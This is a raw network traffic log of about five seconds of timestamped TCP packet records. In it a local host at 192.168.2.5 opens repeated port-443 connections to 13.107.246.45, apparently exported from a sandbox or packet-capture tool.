Oct 26, 2024 13:45:37.045171022 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.045286894 CEST	49831	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.049329042 CEST	49831	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.049348116 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.131443977 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.132121086 CEST	49829	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.132148981 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.132479906 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.132699013 CEST	49829	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.132705927 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.132807016 CEST	49830	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.132827997 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.133213043 CEST	49830	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.133218050 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.259126902 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.259192944 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.259296894 CEST	49829	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.259572029 CEST	49829	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.259588957 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.259620905 CEST	49829	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.259628057 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.263130903 CEST	49832	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.263173103 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.263277054 CEST	49832	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.263309956 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.263391972 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.263453007 CEST	49830	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.263519049 CEST	49830	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.263521910 CEST	49832	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.263534069 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.263535976 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.263545036 CEST	49830	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.263550043 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.265757084 CEST	49833	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.265808105 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.265882015 CEST	49833	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.266017914 CEST	49833	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.266036987 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.809303045 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.810034037 CEST	49831	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.810045958 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.810559034 CEST	49831	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.810563087 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.942758083 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.942781925 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.942836046 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.942852974 CEST	49831	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.942895889 CEST	49831	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.943222046 CEST	49831	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.943222046 CEST	49831	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.943238020 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.943248034 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.947024107 CEST	49834	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.947055101 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.947163105 CEST	49834	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.947376013 CEST	49834	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.947391033 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.983272076 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.984040976 CEST	49832	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.984056950 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.984721899 CEST	49832	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.984726906 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.009550095 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.010144949 CEST	49833	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.010180950 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.010742903 CEST	49833	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.010751009 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.112565994 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.112632990 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.112742901 CEST	49832	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.113221884 CEST	49832	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.113243103 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.113255024 CEST	49832	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.113265991 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.117484093 CEST	49835	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.117542028 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.117633104 CEST	49835	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.117866993 CEST	49835	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.117886066 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.142294884 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.142378092 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.142455101 CEST	49833	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.142812967 CEST	49833	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.142834902 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.142848969 CEST	49833	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.142854929 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.146539927 CEST	49836	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.146642923 CEST	443	49836	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.146752119 CEST	49836	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.146934032 CEST	49836	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.146965027 CEST	443	49836	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.701575994 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.702428102 CEST	49834	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.702471972 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.703130007 CEST	49834	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.703139067 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.835623026 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.835786104 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.835874081 CEST	49834	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.836096048 CEST	49834	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.836118937 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.836133957 CEST	49834	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.836142063 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.839993000 CEST	49837	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.840029001 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.840127945 CEST	49837	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.840373039 CEST	49837	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.840389967 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.849929094 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.850563049 CEST	49835	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.850600958 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.851193905 CEST	49835	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.851205111 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.867670059 CEST	443	49836	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.868318081 CEST	49836	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.868349075 CEST	443	49836	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.869018078 CEST	49836	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.869024038 CEST	443	49836	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.979734898 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.979760885 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.979804039 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.979912043 CEST	49835	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.979954958 CEST	49835	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.980226994 CEST	49835	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.980246067 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.980277061 CEST	49835	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.980288029 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.983695030 CEST	49838	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.983742952 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.983839035 CEST	49838	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.983990908 CEST	49838	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.984008074 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.996371984 CEST	443	49836	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.996447086 CEST	443	49836	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.996506929 CEST	49836	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.996696949 CEST	49836	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.996706963 CEST	443	49836	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.996720076 CEST	49836	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.996726036 CEST	443	49836	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.999700069 CEST	49839	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.999722958 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:38.999818087 CEST	49839	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.999953985 CEST	49839	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:38.999964952 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.704324961 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.704653025 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.704931974 CEST	49838	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:39.704965115 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.704996109 CEST	49837	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:39.705024958 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.705471039 CEST	49838	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:39.705485106 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.705558062 CEST	49837	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:39.705565929 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.734721899 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.735380888 CEST	49839	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:39.735399008 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.735908985 CEST	49839	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:39.735915899 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.831487894 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.831670046 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.831764936 CEST	49838	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:39.831935883 CEST	49838	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:39.831957102 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.831973076 CEST	49838	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:39.831988096 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.835494995 CEST	49840	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:39.835536957 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.835627079 CEST	49840	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:39.835840940 CEST	49840	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:39.835856915 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.837714911 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.837898016 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.837960958 CEST	49837	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:39.837992907 CEST	49837	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:39.838006020 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.838020086 CEST	49837	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:39.838027000 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.840059042 CEST	49841	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:39.840102911 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.840189934 CEST	49841	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:39.840317011 CEST	49841	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:39.840336084 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.868248940 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.868280888 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.868330002 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.868335962 CEST	49839	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:39.868376017 CEST	49839	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:39.868537903 CEST	49839	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:39.868551016 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.868561983 CEST	49839	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:39.868567944 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.870623112 CEST	49842	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:39.870635986 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:39.870702982 CEST	49842	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:39.870852947 CEST	49842	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:39.870868921 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.564165115 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.564848900 CEST	49840	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:40.564884901 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.565380096 CEST	49840	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:40.565386057 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.597063065 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.597887993 CEST	49841	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:40.597914934 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.598332882 CEST	49841	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:40.598339081 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.629239082 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.629765034 CEST	49842	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:40.629790068 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.630340099 CEST	49842	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:40.630347013 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.693464041 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.693542957 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.693607092 CEST	49840	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:40.693825006 CEST	49840	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:40.693841934 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.693856955 CEST	49840	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:40.693864107 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.697719097 CEST	49843	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:40.697761059 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.697853088 CEST	49843	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:40.698004007 CEST	49843	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:40.698014975 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.732340097 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.732426882 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.732575893 CEST	49841	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:40.732752085 CEST	49841	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:40.732769012 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.732784033 CEST	49841	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:40.732789040 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.736263990 CEST	49844	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:40.736303091 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.736393929 CEST	49844	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:40.736560106 CEST	49844	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:40.736577034 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.761652946 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.761708975 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.761831999 CEST	49842	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:40.762162924 CEST	49842	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:40.762180090 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.762191057 CEST	49842	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:40.762197971 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.766009092 CEST	49845	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:40.766052961 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:40.766165972 CEST	49845	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:40.766437054 CEST	49845	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:40.766449928 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.430845022 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.431466103 CEST	49843	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:41.431485891 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.432441950 CEST	49843	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:41.432446957 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.487281084 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.487890959 CEST	49845	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:41.487942934 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.488565922 CEST	49845	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:41.488583088 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.489336967 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.489598036 CEST	49844	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:41.489618063 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.490138054 CEST	49844	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:41.490144014 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.561728001 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.561758041 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.561805964 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.561820030 CEST	49843	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:41.561877012 CEST	49843	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:41.562628984 CEST	49843	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:41.562647104 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.562668085 CEST	49843	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:41.562673092 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.566343069 CEST	49846	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:41.566376925 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.566456079 CEST	49846	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:41.566643000 CEST	49846	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:41.566652060 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.615617990 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.615689993 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.615784883 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.615812063 CEST	49845	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:41.615860939 CEST	49845	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:41.616084099 CEST	49845	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:41.616113901 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.616128922 CEST	49845	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:41.616137028 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.619142056 CEST	49847	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:41.619193077 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.619283915 CEST	49847	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:41.619410992 CEST	49847	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:41.619425058 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.623823881 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.623898983 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.623955965 CEST	49844	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:41.624202013 CEST	49844	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:41.624202013 CEST	49844	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:41.624214888 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.624238014 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.627372980 CEST	49848	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:41.627404928 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:41.627476931 CEST	49848	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:41.627655029 CEST	49848	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:41.627671003 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.300756931 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.301378965 CEST	49846	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:42.301399946 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.301909924 CEST	49846	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:42.301915884 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.339649916 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.340218067 CEST	49847	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:42.340256929 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.340893030 CEST	49847	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:42.340899944 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.387813091 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.388381004 CEST	49848	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:42.388401031 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.388807058 CEST	49848	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:42.388816118 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.431272030 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.431405067 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.431469917 CEST	49846	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:42.431658030 CEST	49846	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:42.431673050 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.431684017 CEST	49846	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:42.431689978 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.435051918 CEST	49850	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:42.435086966 CEST	443	49850	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.435209990 CEST	49850	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:42.435345888 CEST	49850	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:42.435364008 CEST	443	49850	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.468683958 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.468705893 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:42.468749046 CEST	443	49847	13.107.246.45	192.168.2.5
